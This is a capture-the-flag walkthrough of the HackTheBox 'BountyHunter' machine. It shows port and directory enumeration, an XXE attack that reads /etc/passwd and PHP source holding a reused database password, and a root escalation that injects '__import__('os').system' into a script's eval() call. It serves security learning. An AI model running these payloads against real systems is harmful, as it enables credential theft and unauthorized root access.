BountyHunter is an easy rated machine on HackTheBox created by ejedev. For the user part we will abuse a XXE vulnerability in a Bounty Report System
to read the source of the website containing credentials for ssh access. Once on the machine we are able to run a python script as root which passes some of our input to an eval statement, thus allowing for arbitratry code execution as the root user.
User
Nmap
As always we begin our enumeration on the machine with a nmap scan against all ports, followed by the script and version detection scan for the open ones to gain an initial picture of the attack surface.
All ports scan
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -T4 -p- 10.129.180.12
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 13:29 BST
Nmap scan report for 10.129.180.12
Host is up (0.028s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 589.70 seconds
Script and version scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -p22,80 -sC -sV 10.129.180.12
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 13:39 BST
Nmap scan report for 10.129.180.12
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.88 seconds
XXE
Only two ports are open, with http being the more likely succesfull entry, so we will start there. Browsing to it we see a Bounty Hunters
home page.
Going over to portal it states that this part is under development and we can test the bountry tracker. Applications being under development are always quite interesting due to a higher chance of flaws in their code.
In the bountry tracker we can add values for Exploit Title
, CWE
, CVSS Score
and Bounty Reward ($)
.
Intercepting the request and looking at it in Burp repeater we see it is base64 encoded data, however the X-Requested-With
already gives away what it is decoded.
Decoding it indeed reveals the data in XML structure.
Testing for basic forms of XXE we add our own DTD with an entity consisting of the /etc/passwd
file. Since the output of our XML request mirrors the input, it should display the passwd
file if we replace a field with the earlier defined entity.
Base64 and URL-encoding the data again we can see that it is indeed vulnerable after sending the request. This also reveals the user account development
. All we might need now is either a password or an ssh key.
Since we can read local files with the XXE we have to figure out which ones we want to read. The user does not seem to have a private ssh key, but another interesting thing to take a look at is the source code of the web app. To discover most of the pages we can run a gobuster scan against it with the php
extension.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://10.129.180.12/ -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.180.12/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/07/26 13:40:08 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/.html (Status: 403) [Size: 278]
/.html.php (Status: 403) [Size: 278]
/js (Status: 301) [Size: 311] [--> http://10.129.180.12/js/]
/index.php (Status: 200) [Size: 25169]
/css (Status: 301) [Size: 312] [--> http://10.129.180.12/css/]
/.htm (Status: 403) [Size: 278]
/.htm.php (Status: 403) [Size: 278]
/assets (Status: 301) [Size: 315] [--> http://10.129.180.12/assets/]
/db.php (Status: 200) [Size: 0]
/resources (Status: 301) [Size: 318] [--> http://10.129.180.12/resources/]
/. (Status: 200) [Size: 25169]
/portal.php (Status: 200) [Size: 125]
The db.php
looks interesting but since php code getโs executed and not displayed we cannot use the file://
wrapper to include it. There exists however a wrapper that is commonly used in LFI scenarios to circumvent this problem. With php://filter/convert.base64-encode/resource
we can base64 encode the source code so it does not get run by the server on including it.
Decoding it again the source reveals the password for the database access.
1
2
3
4
5
6
7
8
9
$ echo PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo= | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
This password is also reused for the development account which gives us ssh access to the machine and we can grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ssh development@10.129.180.12
The authenticity of host '10.129.180.12 (10.129.180.12)' can't be established.
ECDSA key fingerprint is SHA256:3IaCMSdNq0Q9iu+vTawqvIf84OO0+RYNnsDxDBZI04Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.180.12' (ECDSA) to the list of known hosts.
development@10.129.180.12's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 26 Jul 2021 12:47:00 PM UTC
System load: 0.0
Usage of /: 23.4% of 6.83GB
Memory usage: 13%
Swap usage: 0%
Processes: 216
Users logged in: 0
IPv4 address for eth0: 10.129.180.12
IPv6 address for eth0: dead:beef::250:56ff:feb9:5a2c
0 updates can be applied immediately.
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ wc -c user.txt
33 user.txt
Root
Looking at sudo permission we can see that development can run /opt/skytrain_inc/ticketValidator.py
with python3.8 as root.
1
2
3
4
5
6
7
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
This script takes a filepath, opens the file at this location, performs some checks on it and eventually passes a piece of it to the eval function. The interesting part in this python script is the portion where eval getโs called. So we need to create a file that passes the check up to this point and place some code at the correct place for it to get evaled.
/opt/skytrain_inc/ticketValidator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
First the script calls load_file
which is defined earlier. All this does is check if the file ends with .md
and exits if it doesnโt. Next evalute
is called which has multiple checks in it. Basically it goes through it line by line and has a new check for each line. After going through the code we can break down how our file needs to look.
- First line starts with
# Skytrain Inc
- Second line starts with
## Ticket to
and needs another space followed by something arbitratry. - Third line starts with
__Ticket Code:__
- Fourth line has to start with
**
there also has to be a+
in it, where the part before it getโs parsed byint()
to a number that results in 4 if taken mod 7. The rest of this line needs to be that code which we want to get evaluated.
A possible way to achive root from here is to just import os with the __import__()
function and then call bash with system
.
root.md
1
2
3
4
5
development@bountyhunter:~$ cat root.md
# Skytrain Inc
## Ticket to what
__Ticket Code:__
**4+__import__('os').system("/bin/bash")
With everything prepared, running the script with sudo and specifying our file, we dropp into a root shell and are able to read the flag.
1
2
3
4
5
6
7
8
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/root.md
Destination: what
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# wc -c /root/root.txt
33 /root/root.txt